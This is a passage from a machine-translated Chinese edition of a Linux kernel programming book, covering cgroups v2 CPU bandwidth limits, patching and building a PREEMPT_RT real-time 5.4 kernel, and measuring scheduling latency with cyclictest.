- -```sh -$ mount | grep cgroup2 -cgroup2 on /sys/fs/cgroup/unified type cgroup2 - (rw,nosuid,nodev,noexec,relatime,nsdelegate) -$ sudo cat /sys/fs/cgroup/unified/cgroup.controllers -$ -``` - -嘿,`cgroup2`没有控制器了!?实际上,在*混合*组的情况下会是这样,v1 和 v2,这是默认的(截至编写时)。要专门使用更高版本,从而使所有已配置的控制器可见,您必须首先通过在引导时传递以下内核命令行参数来禁用 cggroups v1:`cgroup_no_v1=all`(回想一下,所有可用的内核参数都可以在此处方便地看到:[https://www . kernel . org/doc/Documentation/admin-guide/kernel-parameters . txt](https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt))。 - -使用前面的选项重新启动系统后,您可以检查您指定的内核参数(通过 x86 上的 GRUB,或者通过嵌入式系统上的 U-Boot)是否确实已经被内核解析: - -```sh -$ cat /proc/cmdline - BOOT_IMAGE=/boot/vmlinuz-4.15.0-118-generic root=UUID=<...> ro console=ttyS0,115200n8 console=tty0 ignore_loglevel quiet splash cgroup_no_v1=all 3 -$ -``` - -好吧。现在让我们重试查找`cgroup2`控制器;您应该会发现它通常安装在`/sys/fs/cgroup/`下-`unified`文件夹不再存在(现在我们已经使用`cgroup_no_v1=all`参数启动了): - -```sh -$ cat /sys/fs/cgroup/cgroup.controllers -cpu io memory pids -``` - -啊,现在我们看到了它们(您看到的确切控制器取决于内核是如何配置的)。 - -管理 cgroups2 工作的规则超出了本书的范围;如果你愿意,我建议你在这里通读一下:[https://www . kernel . org/doc/html/latest/admin-guide/cgroup-v2 . html # control-group-v2](https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html#control-group-v2)。另外,一个 cgroup 下的所有`cgroup.`伪文件在*核心接口文件*部分详细描述(https://www . kernel . org/doc/html/latest/admin-guide/cgroup-v2 . html #核心接口文件)。类似的信息以更简单的方式呈现在`cgroups(7)`的优秀手册页中(在 Ubuntu 上通过`man 7 cgroups`查找)。 - -## 试用–cggroups v2 中央处理器控制器 - -让我们尝试一些有趣的事情:我们将在系统上的 cgroups v2 层次结构下创建一个新的子组。然后,我们将为它设置一个 CPU 控制器,运行几个测试进程(这些进程会不断敲打系统的 CPU 内核),并为这些进程实际可以使用的 CPU 带宽设置一个用户指定的上限! - -这里,我们概述了您通常会采取的步骤(所有这些步骤都要求您以 root 访问权限运行): - -1. 确保您的内核支持 cgroups v2: - * 您应该在 4.5 或更高版本的内核上运行。 - * 如果存在混合的 cgroups(旧版 v1 和较新的 v2,在编写本文时,这是默认的),请检查您的内核命令行是否包含`cgroup_no_v1=all`字符串。这里,我们将假设 cgroup v2 层次结构在`/sys/fs/cgroup`处得到支持和安装。 -2. 向 cgroups v2 层次结构添加一个`cpu`控制器;这是通过以 root 身份执行以下操作来实现的: - -```sh -echo "+cpu" > /sys/fs/cgroup/cgroup.subtree_control -``` - -The kernel documentation on cgroups v2 ([https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html#cpu](https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html#cpu)) does mention this point: *WARNING: cgroup2 doesn’t yet support control of realtime processes and the cpu controller can only be enabled when all RT processes are in the root cgroup. Be aware that system management software may already have placed RT processes into nonroot cgroups during the system boot process, and these processes may need to be moved to the root cgroup before the cpu controller can be enabled.* - -3. 创建子组:只需在 cgroup v2 层次结构下创建一个具有所需子组名称的目录即可;例如,要创建名为`test_group`的子组,请使用以下命令: - -```sh -mkdir /sys/fs/cgroup/test_group -``` - -4. 有趣的地方在这里:为属于这个子组的进程设置最大允许的 CPU 带宽;这是通过写入`//cpu.max`(伪)文件实现的。为清楚起见,根据内核文档([https://www . kernel . org/doc/html/latest/admin-guide/cgroup-v2 . html # CPU-interface-files](https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html#cpu-interface-files))对此文件的解释转载于此: - -```sh -cpu.max -A read-write two value file which exists on non-root cgroups. The default is “max 100000”. The maximum bandwidth limit. It’s in the following format: -$MAX $PERIOD -which indicates that the group may consume upto $MAX in each $PERIOD duration. “max” for $MAX indicates no limit. If only one number is written, $MAX is updated. -``` - -实际上,子控制组中的所有进程将被共同允许在`$PERIOD`微秒的时间段之外运行`$MAX`;因此,例如,使用`MAX = 300,000`和`PERIOD = 1,000,000`,我们有效地允许子控制组中的所有进程在 1 秒的时间内运行 0.3 秒! - -5. 将新的子控制组插入一些流程;这是通过将他们的个人识别码写入`//cgroup.procs`伪文件来实现的: - * 您可以通过查找每个进程的`/proc//cgroup`伪文件的内容,进一步验证它们是否真的属于这个子组;如果它包含一行形式`0::/`,那么它确实属于子组! -6. 就是这样;*新分组下的进程现在将在*施加的 CPU 带宽限制下执行它们的工作;完成后,他们会像往常一样死去...你可以用一个简单的`rmdir /`删除(或删除)子组。 - -这里有一个实际执行上述步骤的 bash 脚本:`ch11/cgroups_v2_cpu_eg/cgv2_cpu_ctrl.sh`。一定要看看!有趣的是,它允许您通过最大允许 CPU 带宽–在*步骤 4* 中讨论的`$MAX`值!不仅如此;我们特意编写了一个测试脚本(`simp.sh`)敲打 CPU——它们生成整数值,我们将其重定向到文件。因此,它们在其生命周期内生成的整数数量表明了有多少 CPU 带宽可供它们使用...这样,我们就可以测试脚本并实际看到 cggroups(v2)在运行! - -这里的几次测试运行将帮助您理解这一点: - -```sh -$ sudo ./cgv2_cpu_ctrl.sh -[sudo] password for : -Usage: cgv2_cpu_ctrl.sh max-to-utilize(us) - This value (microseconds) is the max amount of time the processes in the sub-control - group we create will be allowed to utilize the CPU; it's relative to the period, - which is the value 1000000; - So, f.e., passing the value 300,000 (out of 1,000,000) implies a max CPU utilization - of 0.3 seconds out of 1 second (i.e., 30% utilization). - The valid range for the $MAX value is [1000-1000000]. -$ -``` - -您需要以 root 用户身份运行它,并将`$MAX`值作为参数传递(之前看到的使用屏幕非常清楚地解释了这一点,包括显示有效范围(微秒值))。 - -在下面的截图中,我们运行参数为`800000`的 bash 脚本,这意味着在 100 万周期中有 80 万的 CPU 带宽;实际上,CPU 利用率相当高,每 1 秒钟有 0.8 秒(80%): - -![](img/37abcab9-5863-4a96-8edc-99fd6a186813.png) - -Figure 11.8 – Screenshot of running our cgroups v2 CPU controller demo bash script with an effective max CPU bandwidth of 80% - -在*图 11.8* 中研究我们脚本的输出;可以看到它各司其职:在验证了 cgroup v2 支持后,它添加了一个`cpu`控制器,并创建了一个子组(称为`test_group`)。然后,它开始启动两个名为`j1`和`j2`的测试过程(实际上,它们只是我们的`simp.sh`脚本的象征性链接)。一旦启动,它们当然会运行。然后,脚本查询并将其 PID 添加到子控制组中(如*步骤 5* 所示)。我们给这两个进程 5 秒钟的运行时间;然后,脚本显示他们写入的文件的内容。设计为作业`j1`从`1`开始写整数,作业`j2`从`900`开始写整数。在前面的截图中,您可以清楚地看到,在它们的生命周期中,在有效的 80%的 CPU 带宽下,作业`j1`发出从 1 到 68 的数字;类似地(在相同的约束条件下),作业`j2`发出从`900`到`965`的数字(实际上是类似的工作量)。然后,脚本进行清理,删除作业并删除子组。 - -然而,为了真正欣赏效果,我们再次运行我们的脚本(研究以下输出),但这一次的最大 CPU 带宽仅为 1000(即`$MAX`值)–实际上,最大 CPU 利用率仅为 0.1%!: - -```sh -$ sudo ./cgv2_cpu_ctrl.sh 1000 [+] Checking for cgroup v2 kernel support -[+] Adding a 'cpu' controller to the cgroups v2 hierarchy -[+] Create a sub-group under it (here: /sys/fs/cgroup/test_group) - -*** -Now allowing 1000 out of a period of 1000000 by all processes (j1,j2) in this -sub-control group, i.e., .100% ! -*** - -[+] Launch processes j1 and j2 (slinks to /home/llkd/Learn-Linux-Kernel-Development/ch11/cgroups_v2_cpu_eg/simp.sh) now ... -[+] Insert processes j1 and j2 into our new CPU ctrl sub-group -Verifying their presence... -0::/test_group -Job j1 is in our new cgroup v2 test_group -0::/test_group -Job j2 is in our new cgroup v2 test_group - -............... sleep for 5 s ................ - -[+] killing processes j1, j2 ... -./cgv2_cpu_ctrl.sh: line 185: 10322 Killed ./j1 1 > ${OUT1} -cat 1stjob.txt -1 2 3 -cat 2ndjob.txt -900 901 -[+] Removing our cpu sub-group controller -rmdir: failed to remove '/sys/fs/cgroup/test_group': Device or resource busy -./cgv2_cpu_ctrl.sh: line 27: 10343 Killed ./j2 900 > ${OUT2} -$ -``` - -真不一样!这一次,我们的作业`j1`和`j2`实际上可以发出两到三个整数(作业 j1 的值`1 2 3`和作业 j2 的值`900 901` ,如前面的输出所示),清楚地证明了 cgroups v2 CPU 控制器的有效性。 - -Containers, essentially lightweight VMs (to some extent), are currently a hot commodity. The majority of container technologies in use today (Docker, LXC, Kubernetes, and others) are, at heart, a marriage of two built-in Linux kernel technologies, namespaces, and cgroups. - -至此,我们完成了对一个非常强大和有用的内核特性:cgroups 的简短介绍。让我们进入本章的最后一节:学习如何将普通的 Linux 变成实时操作系统! - -# 将主线 Linux 转换成 RTOS - -主线或者普通的 Linux(你从[https://kernel.org](https://kernel.org)下载的内核)绝对是*而不是*一个**实时操作系统**(**RTOS**);是**通用操作系统**(**GPOS**;Windows、macOS、Unix 也是如此)。在 RTOS,硬实时特性开始发挥作用,不仅软件必须获得正确的结果,还有相关的截止日期;它必须保证每一次都能满足这些期限。主线 Linux 操作系统,虽然不是 RTOS,但却做了一件了不起的事情:它很容易被认为是一个软实时操作系统(一个大多数时间都能满足最后期限的操作系统)。然而,真正的硬实时领域(例如,军事行动、许多类型的运输、机器人、电信、工厂自动化、股票交易所、医疗电子等)需要 RTOS。 - -这方面的另一个关键点是**确定性**:关于实时性,一个经常被忽略的点是软件响应时间不需要总是非常快(例如,在几微秒内响应);它可能会慢很多(例如,在几十毫秒的范围内);在 RTOS,这本身并不重要。重要的是该系统是可靠的,以同样一致的方式工作,并始终保证最后期限得到满足。 - -例如,响应一个调度请求所花费的时间应该是一致的,而不是到处跳跃。与所需时间(或基线)的偏差通常被称为**抖动**;RTOS 使抖动保持很小,甚至可以忽略不计。在 GPOS,这通常是不可能的,抖动会有很大的变化——一点低,一点高。总的来说,即使面对极端的工作负载压力,也能以最小的抖动保持稳定均匀的响应,这种能力被称为决定论,是 RTOS 的标志。为了提供这种确定性的响应,算法必须尽可能地设计成对应于 *O(1)* 时间复杂度。 - -托马斯·格莱克斯纳,连同社区的支持,已经朝着这个目标努力了很长时间;事实上,自 2.6.18 内核以来,多年来一直有离线补丁将 Linux 内核转换成 RTOS。这些补丁可以在很多版本的内核中找到,这里是:[https://mirrors . edge . kernel . org/pub/Linux/kernel/project/rt/](https://mirrors.edge.kernel.org/pub/linux/kernel/projects/rt/)。这个项目的旧称是`PREEMPT_RT`;后来(2015 年 10 月以后), **Linux 基金会** ( **LF** )接管了这个项目的管理权——这是非常积极的一步!–并将其重新命名为**实时 Linux** ( **RTL** )协作项目([https://wiki . linuxfoundation . org/Real/RTL/start # the _ RTL _ Collaborative _ Project](https://wiki.linuxfoundation.org/realtime/rtl/start#the_rtl_collaborative_project))或 RTL(不要将该项目与诸如 Xenomai 或 RTAI 之类的共同内核方法或称为 RTLinux 的较老且现已停止的尝试相混淆)。 - -当然,一个常见问题是“为什么这些补丁不在主线中?”事实证明: - -* RTL 的大部分工作确实已经合并到主线内核中;这包括重要的领域,如调度子系统、互斥体、lockdep、线程中断、PI、跟踪等等。事实上,RTL 正在进行的一个主要目标是在可行的情况下尽可能将其合并(我们在*主线和 RTL–技术差异总结*部分显示了一个总结该目标的表格)。 -* Linus Torvalds 认为,Linux 主要是作为一个 GPOS 来设计和构建的,不应该具有只有 RTOS 真正需要的高度侵入性的特性;因此,尽管补丁确实会被合并进来,但这是一个缓慢的深思熟虑的过程。 - -我们在本章的*进一步阅读*部分包含了几篇有趣的文章和对 RTL(和硬实时)的参考;一定要看看。 - -接下来你要做的事情确实很有趣:你将学习如何用 RTL 补丁修补主线 5.4 LTS 内核,配置它,构建和引导它;因此,你最终将运行一个 RTOS–*实时 Linux 或 RTL* !我们将在我们的 x86_64 Linux 虚拟机(或本机系统)上这样做。 - -我们不会止步于此;然后,您将了解更多–普通 Linux 和 RTL 之间的技术差异,什么是系统延迟,以及如何实际测量它。为此,我们将首先在树莓 Pi 设备的内核源上应用 RTL 补丁,配置和构建它,并使用 *cyclictest* 应用将其用作系统延迟测量的测试平台(您还将学习使用现代 BPF 工具来测量调度程序延迟)。让我们继续,首先在 x86_64 上为我们的 5.4 内核构建一个 RTL 内核! - -## 为主线 5.x 内核构建 RTL(在 x86_64 上) - -在本节中,您将逐步学习如何将 Linux 作为 RTOS 系统进行修补、配置和构建。如前一节所述,这些实时补丁已经存在很长时间了;是时候利用它们了。 - -### 获得 RTL 补丁 - -导航到[https://mirrors . edge . kernel . org/pub/Linux/kernel/projects/rt/5.4/](https://mirrors.edge.kernel.org/pub/linux/kernel/projects/rt/5.4/)(或者,如果您在备用内核上,请转到该目录之上的一个目录级别并选择所需的内核版本): - -![](img/a740d54f-0b82-4b91-bf66-1d18bb63d658.png) - -Figure 11.9 – Screenshot of the RTL patches for the 5.4 LTS Linux kernels - -您会很快注意到,RTL 补丁仅适用于某些版本的内核(这里是 5.4 . y);关于这一点的更多内容如下。在前面的截图中,您可以发现两种广泛的补丁文件类型,解释如下: - -* `patch-rt[nn].patch.[gz|xz]`:前缀为`patch-`;这是在一个统一的(和压缩)文件中修补主线内核(版本`` ) **所需的完整补丁集合。** -* `patches--rt[nn].patch.[gz|xz]`:前缀为`patches-`;这个压缩文件包含了组成这个版本的 RTL 补丁系列的每个单独的补丁(作为一个单独的文件)。 - -(还有,你应该知道,`.patch.gz`和`.patch.xz`是同一个档案;只是压缩器不同而已-`.sign`文件是 PGP 签名文件。) - -我们将使用第一种类型;通过点击链接(或通过`wget(1)`)将`patch-rt[nn].patch.xz`文件下载到您的目标系统。 - -请注意,对于 5.4.x 内核(在撰写本文时),RTL 补丁似乎只针对 5.4.54 和 5.4.69 版本(而不是我们一直在使用的 5.4.0 内核)。 - -In fact, the particular kernel version that the RTL patches apply against can certainly vary from what I've mentioned here at the time of this writing. That's expected - just follow the steps substituting the release number you're using with what's mentioned here. - -别担心,我们一会儿会给你看一个变通办法。情况确实会是这样;社区不可能针对每一个内核版本构建补丁——补丁太多了。这确实有一个重要的含义:要么我们将我们的 5.4.0 内核修补到,比如说,5.4.69,要么,我们简单地下载 5.4.69 内核,并对其应用 RTL 补丁。 - -第一种方法是可行的,但需要做更多的工作(尤其是在没有修补工具(如 git/番茄酱/棉被或类似工具)的情况下;在这里,我们选择不使用 git 来应用补丁,而是只处理稳定的内核树)。由于 Linux 内核补丁是增量的,从 5.4.0 到 5.4.69,我们必须下载每一个补丁(总共 69 个补丁!),然后依次按顺序应用:先 5.4.1,再 5.4.2,再 5.4.3,以此类推,直到最后一个!这里,为了帮助保持简单,因为我们知道要修补的内核是 5.4.69,所以下载和提取它会更容易。所以,去 https://www.kernel.org/吧。因此,在这里,我们最终下载了两个文件: - -* 主线 5.4.69 的压缩内核源码:[https://mirrors . edge . kernel . org/pub/Linux/kernel/V5 . x/Linux-5 . 4 . 69 . tar . xz](https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.4.69.tar.xz) -* 5.4.69 的 RTL 补丁 - -(正如在[第 3 章](03.html)、*从源代码构建 5.x Linux 内核–第 2 部分*中详细解释的那样,如果您打算为另一个目标交叉编译内核,通常的步骤是将其构建在功能适当强大的工作站上,因此请在那里下载。) - -接下来,提取 RTL 补丁文件和内核代码库`tar.xz`文件,得到内核源码树(这里是 5.4.69 版本;当然,这些细节已经在[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*中得到了很好的阐述。到目前为止,您的工作目录内容应该如下所示: - -```sh -$ ls -lh -total 106M -drwxrwxr-x 24 kaiwan kaiwan 4.0K Oct 1 16:49 linux-5.4.69/ --rw-rw-r-- 1 kaiwan kaiwan 105M Oct 13 16:35 linux-5.4.69.tar.xz --rw-rw-r-- 1 kaiwan kaiwan 836K Oct 13 16:33 patch-5.4.69-rt39.patch -$ -``` - -(仅供参考,`unxz(1)`实用程序可用于提取`.xz`-压缩补丁文件。)对于好奇的读者:看一眼补丁(文件`patch-5.4.69-rt39.patch`,看看所有代码级的改变带来了一个硬实时内核;这当然不是小事!在即将到来的*主线和 RTL–技术差异总结*部分,将看到技术变化的概述。现在我们已经准备好了,让我们从将补丁应用到稳定的 5.4.69 内核树开始;下一节将介绍这一点。 - -### 应用 RTL 补丁 - -确保将提取的补丁文件`patch-5.4.69-rt39.patch`保存在 5.4.69 内核源代码树正上方的目录中(如前所述)。现在,让我们应用补丁。小心–(显然)不要试图将压缩文件作为补丁应用;提取并使用未压缩的补丁文件。为了确保补丁正确应用,我们首先对`patch(1)`使用`--dry-run`(虚拟运行)选项: - -```sh -$ cd linux-5.4.69 -$ patch -p1 --dry-run < ../patch-5.4.69-rt39.patch -checking file Documentation/RCU/Design/Expedited-Grace-Periods/Expedited-Grace-Periods.html -checking file Documentation/RCU/Design/Requirements/Requirements.html -[ ... ] -checking file virt/kvm/arm/arm.c -$ echo $? -0 -``` - -没关系,现在让我们实际应用它: - -```sh -$ patch -p1 < ../patch-5.4.69-rt39.patch patching file Documentation/RCU/Design/Expedited-Grace-Periods/Expedited-Grace-Periods.html -patching file Documentation/RCU/Design/Requirements/Requirements.html -[ ... ] -``` - -太好了——我们已经为 RTL 准备好了补丁内核! - -当然可以采用多种方式和各种捷径;例如,您也可以通过`xzcat ../patch-5.4.69-rt39.patch.xz | patch -p1`命令(或类似命令)实现上述功能。 - -### 配置和构建 RTL 内核 - -我们已经在[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*、[第 3 章](03.html)、*从源代码构建 5.x Linux 内核–第 2 部分*中详细介绍了内核配置和构建步骤,因此在此不再赘述。几乎一切都保持不变;唯一显著的区别是我们必须配置这个内核来利用 RTL(这在新的 RTL 维基网站上有解释,这里:[https://wiki . linuxfoundation . org/real time/documents/how to/applications/prempert _ setup](https://wiki.linuxfoundation.org/realtime/documentation/howto/applications/preemptrt_setup))。 - -为了减少要构建的内核特性以大致匹配当前的系统配置,我们首先在内核源代码树目录(`linux-5.4.69`)中执行以下操作(我们也在[第 2 章](02.html)、*通过 localmodconfig 方法*在*优化内核配置下从源代码构建 5.x Linux 内核-第 1 部分*)中讨论了这一点: - -```sh -$ lsmod > /tmp/mylsmod -$ make LSMOD=/tmp/mylsmod localmodconfig -``` - -接下来,用`make menuconfig`启动内核配置: - -1. 导航至`General setup`子菜单: - -![](img/7ebb5f95-e893-4724-ab4a-25fcf66f39f5.png) - -Figure 11.10 – make menuconfig / General setup: configuring the RTL-patched kernel - -2. 到达后,向下滚动至`Preemption Model`子菜单;我们在前面的截图中看到它被突出显示,同时还有一个事实,即当前(默认)选择的抢占模式是`Voluntary Kernel Preemption (Desktop)`。 -3. 点击*进入*进入`Preemption Model`子菜单: - -![](img/0fe6cbde-87fe-42e9-b46a-b18c4f27ce9d.png) - -Figure 11.11 – make menuconfig / General setup / Preemption Model: configuring the RTL-patched kernel - -就在那里!回想上一章,在*可抢占内核*部分,我们描述了这个内核配置菜单有三个项目(前三个见图 11.11)。现在它有四个。第四项——第`Fully Preemptible Kernel (Real-Time)`选项——由于我们刚刚应用的 RTL 补丁而增加了! - -4. 因此,要为 RTL 配置内核,向下滚动并选择`Fully Preemptible Kernel (Real-Time)`菜单选项(参见图 11.1)。这对应于内核`CONFIG_PREEMPT_RT`配置宏,它的`< Help >`是相当描述性的(看一看);事实上,它的结论是这样的:*如果您正在为需要实时保证的系统构建内核,请选择此项*。 - -`Preemption Model` - -5. 一旦您选择了第四个选项并保存并退出了`menuconfig`用户界面,(重新)检查是否选择了完全可抢占的内核——实际上是 RTL: - -```sh -$ grep PREEMPT_RT .config -CONFIG_PREEMPT_RT=y -``` - -好吧,看起来不错!(当然,在构建之前,您可以根据产品的需要调整其他内核配置选项。) - -6. 现在让我们构建 RTL 内核: - -```sh -make -j4 && sudo make modules_install install -``` - -7. 一旦它成功构建和安装,重新启动系统;开机时,按键显示 GRUB 引导加载程序菜单(按住其中一个 *Shift* 键可以帮助确保开机时显示 GRUB 菜单);在 GRUB 菜单内,选择新构建的`5.4.69-rtl` RTL 内核(实际上,刚安装的内核通常是引导时选择的默认内核)。它现在应该启动了;登录到 shell 后,让我们验证内核版本: - -```sh -$ uname -r -5.4.69-rt39-rtl-llkd1 -``` - -注意`CONFIG_LOCALVERSION`设置为数值`-rtl-llkd1`。(还有,有了`uname -a`,就能看到`PREEMPT RT`弦了。)我们现在——正如承诺的那样——运行 Linux,RTL,作为一个硬实时操作系统,一个 RTOS! - -然而,非常重要的一点是要明白,对于真正的硬实时来说,仅仅拥有一个硬实时内核是不够的*;您还必须非常仔细地设计和编写您的用户空间(应用、库和工具)以及内核模块/驱动程序,以符合实时性。例如,频繁的页面错误会将确定性抛之脑后,导致高延迟(和高抖动)。(回想一下您在第 9 章、*模块作者的内核内存分配–第 2 部分*中,在*内存分配和按需分页*一节中所学的内容。页面错误是生活中的一个事实,可能而且确实经常发生;小的页面错误通常没什么好担心的。但是在硬 RT 场景下呢?无论如何,“重大故障”会影响性能。)很可能需要一些技术,比如使用`mlockall(2)`来锁定实时应用进程的所有页面。这里提供了这个以及其他几个编写实时代码的技巧和提示:[https://rt.wiki.kernel.org/index.php/HOWTO:_Build_an_ RT-application](https://rt.wiki.kernel.org/index.php/HOWTO:_Build_an_RT-application)。(同样,关于 CPU 亲和力和屏蔽、`cpuset`管理、IRQ 优先级排序等话题,可以在前面提到的老 RT wiki 网站上找到;[https://rt.wiki.kernel.org/index.php/Main_Page](https://rt.wiki.kernel.org/index.php/Main_Page)。)* - -太好了,你现在知道如何配置和构建 Linux 作为 RTOS 了!我鼓励你自己尝试一下。接下来,我们将总结标准内核和 RTL 内核之间的主要区别。 - -## 主线和 RTL–总结了技术差异 - -为了让您更深入地理解这个有趣的主题领域,在这一节中,我们将深入研究它:我们总结了标准(或主线)和 RTL 内核之间的主要区别。 - -在下表中,我们总结了标准内核(或主线内核)和 RTL 内核之间的一些关键区别。RTL 项目的主要目标是最终完全集成到常规主线内核树中。由于这一过程是进化的,从 RTL 到主线的斑块融合缓慢但稳定;有趣的是,从下表中最右边的一列可以看出,RTL 的大部分工作(在撰写本文时约为 80%)实际上已经合并到主线内核中,并且还在继续: - -| **组件/功能** | **标准或主线(普通)Linux** | **RTL(完全可抢占/硬实时 Linux)** | **RT 工作并入主线?** | -| 自旋锁 | 自旋锁关键部分是不可抢占的内核代码 | 尽可能的被人类抢占;叫做“沉睡的刺锁”!实际上,自旋锁已经被转换成了互斥锁。 | 不 | -| 中断处理 | 传统上通过上半部分和下半部分(hardirq/tasklet/softirq)机制完成 | 线程中断:大部分中断处理是在内核线程中完成的(2009 年 6 月 2.6.30)。 | 是 | -| 高分辨率计时器 | 由于与 RTL 合并,此处可用 | 纳秒分辨率计时器(2.6.16,2006 年 3 月)。 | 是 | -| RW 锁 | 无界;作家可能会挨饿 | 写入器延迟受限的公平读写锁。 | 不 | -| 锁定的 | 由于与 RTL 合并,此处可用 | 非常强大的(内核空间)工具,用于检测和证明锁定正确性或其缺乏。 | 是 | -| 追踪 | 由于来自 RTL 的合并,这里提供了一些跟踪技术 | Ftrace 的起源(在某种程度上也是 perf 的起源)是 RT 开发人员试图发现延迟问题。 | 是 | -| 调度程序 | 由于从 RTL 合并,这里有许多调度程序功能 | 实时调度和截止时间调度类(`SCHED_DEADLINE`)的工作首先在这里完成(2014 年 3 月 3.14 日);还有,全备忘录操作(2013 年 6 月 3.10 日)。 | 是 | - -(不要担心——我们肯定会在本书的后续章节中涵盖前面的许多细节。) - -当然,一个众所周知(至少应该如此)的经验法则简单来说就是这样:*没有银弹*。当然,这意味着没有一个解决方案能满足所有需求。 - -*The Mythical Man-Month: Essays on Software Engineering* - -如[第 10 章](10.html)*CPU 调度器-第 1 部分*所述,在*可抢占内核*部分,Linux 内核可以配置`CONFIG_PREEMPT`选项;这通常被称为**低延迟**(或 **LowLat** )内核,提供接近实时的性能。在许多领域(虚拟化、电信等),使用低延迟内核可能比使用硬实时 RTL 内核更好,这主要是由于 RTL 的开销。您经常会发现,在高实时性的情况下,用户空间应用会受到吞吐量、CPU 可用性降低以及延迟增加的影响。(参见*进一步阅读*部分,了解 Ubuntu 的白皮书,该白皮书对普通发行版内核、低延迟可抢占内核和完全可抢占内核(实际上是 RTL 内核)进行了比较。) - -考虑到延迟,下一节将帮助您理解系统延迟的确切含义;然后,您将学习一些在实时系统上测量它的方法。上,上! - -# 潜伏期及其测量 - -我们经常遇到潜伏期这个术语;它在内核的上下文中到底意味着什么?延迟的同义词是延迟,这是一个很好的提示。*延迟(或延迟)是作出反应所花费的时间*-在我们这里的上下文中,内核调度程序唤醒用户空间线程(或进程),从而使其可运行,与它在处理器上实际运行的时间之间的时间是**调度延迟**。(但是,请注意,术语调度延迟也用于另一个上下文中,表示每个可运行任务保证至少运行一次的时间间隔;可调参数在这里:`/proc/sys/kernel/sched_latency_ns`,至少在最近的 x86_64 Linux 上,默认为 24 ms)。类似地,从硬件中断发生(比如网络中断)到它的处理程序例程实际提供服务所经过的时间,就是中断延迟。 - -**cycle test**用户空间程序由托马斯·格雷克斯纳编写;它的目的:测量内核延迟。它的输出值以微秒为单位。平均和最大延迟值通常是感兴趣的值——如果它们在系统可接受的范围内,那么一切都好;如果不是,它可能指向特定于产品的重新设计和/或内核配置调整、检查其他时间关键的代码路径(包括用户空间)等等。 - -让我们以 cyclictest 流程本身为例,清楚地了解调度延迟。循环测试过程正在运行;在内部,它发出`nanosleep(2)`(或者,如果通过了`-n`选项开关,`clock_nanosleep(2)`系统调用),在指定的时间间隔内将其自身置于睡眠状态。由于这些`*sleep()`系统调用显然是阻塞的,内核在内部将 cyclictest(为简单起见,我们在下图中将它称为`ct`进程)排入等待队列,这只是一个保存休眠任务的内核数据结构。 - -等待队列与事件相关联;当该事件发生时,内核唤醒所有在该事件上休眠的任务。这里,所讨论的事件是计时器的到期;这由定时器硬件通过发出硬件中断(或 IRQ)来传达;这将启动一系列事件,这些事件必须发生才能使 cyclictest 进程唤醒并在处理器上运行。当然,这里的关键点是说起来容易做起来难:许多潜在的延迟可能发生在处理器内核上实际运行的进程的路径上!下图试图传达的是潜在的延迟来源: - -![](img/625a2837-3502-4447-9da4-99ceffacab58.png) - -(前面的一些输入来自于出色的演示*使用和理解实时周期测试基准,罗文,2013 年 10 月*。)仔细研究图 11.12;它显示了由于定时器到期(在时间`t0`硬件中断断言的时间线,因为周期测试进程通过`nanosleep()`应用编程接口发出的睡眠是在时间`t1`完成的,通过 IRQ 处理(`t1`到`t3`)和 ct 进程的唤醒,结果它被排队到它最终将运行的内核的运行队列中(在`t3`和`t4`之间)。 - -从那里,它将最终成为它所属的调度类的最高优先级,或最好或最值得的任务(在时间`t6`;我们在前面的章节中介绍了这些细节),因此,它将抢占当前正在运行的线程(`t6`)。然后执行`schedule()`代码(时间`t7` 到`t8`,上下文切换发生在`schedule()`的尾端,最后(!),循环测试过程实际上将在处理器内核上执行(时间`t9`)。虽然一开始可能看起来很复杂,但实际情况是,这是一个简化的图表,因为省略了其他几个潜在的延迟源(例如,由于 IPI、SMI、缓存迁移、前面事件的多次发生、在不合适的时刻触发导致更多延迟的额外中断等造成的延迟)。 - -确定以实时优先级运行的用户空间任务的最大延迟值的经验法则如下: - -```sh -max_latency = CLK_WAVELENGTH x 105 s -``` - -举个例子,树莓 Pi Model 3 的 CPU 时钟运行频率为 1 GHz 它的波长(一个时钟周期到下一个时钟周期之间的时间)是频率的倒数,即 10 -9 或 1 纳秒。因此,根据前面的等式,理论上的最大延迟应该是(在)10 -7 秒内,约为 10 纳秒(纳秒)。你很快就会发现,这只是理论上的。 - -## 使用 cyclictest 测量调度延迟 - -为了使这更有趣(以及在受约束的系统上运行延迟测试),我们将使用众所周知的 cyclictest 应用在同样著名的树莓 Pi 设备上执行延迟测量,同时系统处于一定的负载下(通过`stress(1)`实用程序)。本节分为四个逻辑部分: - -1. 首先,在树莓皮装置上设置工作环境。 -2. 其次,在内核源代码上下载并应用 RT 补丁,配置并构建它。 - -3. 第三,在设备上安装 cyclictest app,以及其他几个需要的包(包括`stress`)。 -4. 第四,运行测试用例并分析结果(甚至绘制图表来帮助这样做)。 - -第一步和第二步的大部分内容已经在[第 3 章](03.html)、*从源代码构建 5.x Linux 内核–第 2 部分*、在*树莓皮的内核构建*部分详细介绍过了。这包括下载树莓 Pi 特定的内核源代码树,配置内核,并安装适当的工具链;我们在此不再重复这些信息。这里唯一显著的区别是,我们首先必须将实时补丁应用到内核源代码树,并为硬实时进行配置;我们将在下一节讨论这个问题。 - -我们走吧! - -### 获取和应用 RTL 补丁程序集 - -检查您的树莓 Pi 设备上运行的主线或发行版内核版本(用您可能运行 Linux 的任何其他设备替换树莓 Pi);例如,在我使用的树莓 Pi 3B+上,它运行的是 5.4.51-v7+内核的股票 Raspbian(或树莓 Pi OS) GNU/Linux 10(巴斯特)。 - -我们想为树莓 Pi 构建一个 RTL 内核,它与当前运行的标准内核最接近;对于我们这里的案例,在运行 5.4.51[-v7+]的情况下,可用的最接近的 RTL 补丁是内核版本 5.4 . y-rt[nn]([https://mirrors . edge . kernel . org/pub/Linux/kernel/projects/rt/5.4/](https://mirrors.edge.kernel.org/pub/linux/kernel/projects/rt/5.4/));我们将很快回到这个问题上来... - -我们一步一步来: - -1. 将树莓 Pi 特定内核源代码树下载到您的主机系统磁盘的步骤已经在[第 3 章](03.html)、*从源代码构建 5.x Linux 内核–第 2 部分*、在*树莓 Pi 内核构建*部分*中介绍过;*一定要参考它,获取源树。 -2. 一旦这个步骤完成,你应该会看到一个名为`linux`的目录;它保存了 5.4.y 版本内核的树莓 Pi 